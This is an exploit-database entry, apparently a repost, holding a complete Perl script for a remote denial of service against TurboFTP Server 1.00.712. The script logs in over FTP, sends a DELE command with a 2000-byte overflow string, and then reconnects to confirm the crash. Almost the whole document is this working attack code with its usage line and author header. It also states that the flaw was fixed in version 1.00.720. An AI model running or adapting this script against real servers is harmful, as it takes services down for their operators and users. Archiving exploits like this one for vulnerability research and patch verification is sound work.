发布 2010-01-13 漏洞条目

TurboFTP Server 1.00.712 – Remote Denial of Service

Exploit Source

# Exploit Title : TurboFTP Server 1.00.712 Remote DoS

# Date : 30 december 2009

# Author : corelanc0d3r (corelanc0d3r[at]gmail{dot}com)

# Bug found by : corelanc0d3r (corelanc0d3r[at]gmail{dot}com)

# Software Link : http://www.tbsoftinc.com/download/tbftpsrv.exe

# Version : 1.00.712

# Issue fixed in: 1.00.720

# OS : Windows

# Tested on : XP SP3 En (VirtualBox)

# Type of vuln : DoS

# Greetz to : Corelan Security Team::EdiStrosar/Ricks2600/MarkoT/mr_me/ekse

# Script provided 'as is', without any warranty.

# Use for educational purposes only.

# Code :

print "|------------------------------------------------------------------|\n";

print "| __ __ |\n";

print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";

print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";

print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n";

print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n";

print "| |\n";

print "| http://www.corelan.be:8800 |\n";

print "| |\n";

print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";

print "[+] DoS exploit for TurboFTP Server 1.00.712 \n";

use IO::Socket;

if ($#ARGV ne 3) {

print "\n usage: $0 <targetip> <targetport> <user> <password>\n";

exit(0);

}

my $user=$ARGV[2];

my $pass=$ARGV[3];

print " [+] Preparing DoS payload\n";

my $payload = "A" x 2000;

print " [+] Connecting to server $ARGV[0] on port $ARGV[1]\n";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => $ARGV[1],

Proto => 'tcp');

$ftp = <$sock> || die " [!] *** Unable to connect ***\n";

print " ** $ftp";

$ftp = <$sock>;

print " ** $ftp";

print " [+] Logging in (user $user)\n";

print $sock "USER $user\r\n";

$ftp = <$sock>;

print " ** $ftp";

print $sock "PASS $pass\r\n";

$ftp = <$sock>;

print " ** $ftp";

print " [+] Sending payload\n";

print $sock "DELE ".$payload."\r\n";

$ftp = <$sock>;

print " ** $ftp";

print " [+] Payload sent, now checking FTP server state\n";

$sock2 = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => $ARGV[1],

Proto => 'tcp');

my $ftp2 = <$sock2> || die " [+] DoS successful\n";

print " [!] DoS did not seem to work\n";

print " ** $ftp2\n";

作者: corelanc0d3r
日期: 2010-01-13
类别: dos
平台: windows

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